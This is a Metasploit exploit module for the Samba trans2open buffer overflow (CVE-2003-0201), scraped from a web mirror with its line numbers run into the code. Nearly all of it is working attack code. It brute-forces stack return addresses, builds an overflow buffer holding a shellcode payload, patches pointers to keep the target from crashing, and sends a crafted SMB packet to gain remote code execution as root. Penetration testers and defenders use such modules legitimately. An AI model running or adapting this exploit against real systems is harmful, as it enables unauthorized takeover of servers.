CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/exploits/linux/samba/trans2open.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::SMB::Client9include Msf::Exploit::Brute1011def initialize(info = {})12super(update_info(info,13'Name' => 'Samba trans2open Overflow (Linux x86)',14'Description' => %q{15This exploits the buffer overflow found in Samba versions162.2.0 to 2.2.8. This particular module is capable of17exploiting the flaw on x86 Linux systems that do not18have the noexec stack option set.1920NOTE: Some older versions of RedHat do not seem to be vulnerable21since they apparently do not allow anonymous access to IPC.22},23'Author' => [ 'hdm', 'jduck' ],24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2003-0201' ],28[ 'OSVDB', '4469' ],29[ 'BID', '7294' ],30[ 'URL', 'https://seclists.org/bugtraq/2003/Apr/103' ]31],32'Privileged' => true,33'Payload' =>34{35'Space' => 1024,36'BadChars' => "\x00",37'MinNops' => 512,38'StackAdjustment' => -350039},40'Platform' => 'linux',41'Targets' =>42[43# tested OK - jjd:44# RedHat 7.2 samba-2.2.1a-4 - 0xbffffafc45# RedHat 9.0 samba-2.2.7a-7.9.0 - 0xbfffddfc46[ 'Samba 2.2.x - Bruteforce',47{48'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack49'Offset' => 1055,50'Bruteforce' =>51{52'Start' => { 'Ret' => 0xbffffdfc },53'Stop' => { 'Ret' => 0xbfa00000 },54'Step' => 25655}56}57],58],59'DefaultTarget' => 0,60'DisclosureDate' => '2003-04-07'61))6263register_options(64[65Opt::RPORT(139)66])6768deregister_options('SMB::ProtocolVersion')69end7071def brute_exploit(addrs)7273curr_ret = addrs['Ret']74begin75print_status("Trying return address 0x%.8x..." % curr_ret)7677vprint_status('Connect with SMB1 since it needs native_lm info')78connect(versions: [1])79smb_login8081if ! @checked_peerlm82if smb_peer_lm !~ /samba/i83fail_with(Failure::NoTarget, "This target is not a Samba server (#{smb_peer_lm}")84end8586if smb_peer_lm =~ /Samba [34]\./i87fail_with(Failure::NoTarget, "This target is not a vulnerable Samba server (#{smb_peer_lm})")88end89end9091@checked_peerlm = true929394# This value *must* be 1988 to allow findrecv shellcode to work95# XXX: I'm not sure the above comment is true...96pattern = rand_text_english(1988)9798# See the OSX and Solaris versions of this module for additional99# information.100101# eip_off = 1071 - RH7.2 compiled with -ggdb instead of -O/-O2102# (rpmbuild -bp ; edited/reran config.status ; make)103eip_off = target['Offset']104ptr_to_non_zero = target['PtrToNonZero']105106# Stuff the shellcode into the request107pattern[0, payload.encoded.length] = payload.encoded108109# We want test true here, so we overwrite conn with a pointer110# to something non-zero.111#112# 222 if (IS_IPC(conn)) {113# 223 return(ERROR(ERRSRV,ERRaccess));114# 224 }115pattern[eip_off + 4, 4] = [ptr_to_non_zero - 0x30].pack('V')116117# We want to avoid crashing on the following two derefences.118#119# 116 int error_packet(char *inbuf,char *outbuf,int error_class,uint32 error_code,int line)120# 117 {121# 118 int outsize = set_message(outbuf,0,0,True);122# 119 int cmd = CVAL(inbuf,smb_com);123pattern[eip_off + 8, 4] = [ptr_to_non_zero - 0x08].pack('V')124pattern[eip_off + 12, 4] = [ptr_to_non_zero - 0x24].pack('V')125126# This stream covers the framepointer and the return address127#pattern[1199, 400] = [curr_ret].pack('N') * 100128pattern[eip_off, 4] = [curr_ret].pack('V')129130trans =131"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+132"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+133"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+134"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+135"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+136"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+137pattern138139# puts "press any key"; $stdin.gets140141sock.put(trans)142handler143144rescue ::EOFError145rescue ::Rex::Proto::SMB::Exceptions::LoginError, ::Interrupt, ::RuntimeError146raise $!147rescue ::Exception => e148print_error("#{rhost} #{e}")149end150151handler152disconnect153154end155end156157158